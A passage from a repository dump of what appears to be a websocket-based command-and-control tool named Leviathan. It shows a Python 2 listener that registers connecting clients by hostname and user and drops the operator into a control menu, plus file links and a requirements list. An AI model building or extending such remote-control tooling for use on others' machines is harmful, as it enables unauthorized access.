" 40 | page += "" 41 | return page 42 | 43 | def handleHTTP(self, environ, start_response): 44 | start_response("200 OK", [("Content-Type", "text/html")]) 45 | return [self.default_response()] 46 | 47 | def handleClient(self, environ, start_response): 48 | 49 | if environ["PATH_INFO"] == "/connect": 50 | if environ["wsgi.websocket"] != None: 51 | 52 | ws = environ["wsgi.websocket"] 53 | addr = environ["REMOTE_ADDR"] 54 | clientMsg = ws.receive() 55 | #client will always send the hostname, current user with the first message 56 | print "Received Upgrade request, waiting for client info...\n" 57 | clientName, clientUser = clientMsg.encode('ascii').split('|') 58 | self.clientName = clientName 59 | self.clientUser = clientUser 60 | self.sessionName = "%s@%s" % (self.clientUser, self.clientName) 61 | #Jump to the client menu 62 | clientMenu = Client.Leviathan(ws, self.clientName, self.clientUser) 63 | clientMenu.cmdloop() 64 | #Not sure about what to return to the application 65 | return environ 66 | else: 67 | return self.handleHTTP(environ, start_response) 68 | 69 | else: 70 | return self.handleHTTP(environ, start_response) -------------------------------------------------------------------------------- /menus/Main.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xorrior/Leviathan/f757b060f1e9115a65e0e941cd8d6577ad3ab5e7/menus/Main.pyc -------------------------------------------------------------------------------- /menus/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xorrior/Leviathan/f757b060f1e9115a65e0e941cd8d6577ad3ab5e7/menus/__init__.py -------------------------------------------------------------------------------- /menus/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xorrior/Leviathan/f757b060f1e9115a65e0e941cd8d6577ad3ab5e7/menus/__init__.pyc -------------------------------------------------------------------------------- /setup/requirements.txt: -------------------------------------------------------------------------------- 1 | # 2 | ############## WinduSocket Requirements ############# 3 | gevent-websocket 4 | gevent 5 | pycrypto 6 | pydispatcher --------------------------------------------------------------------------------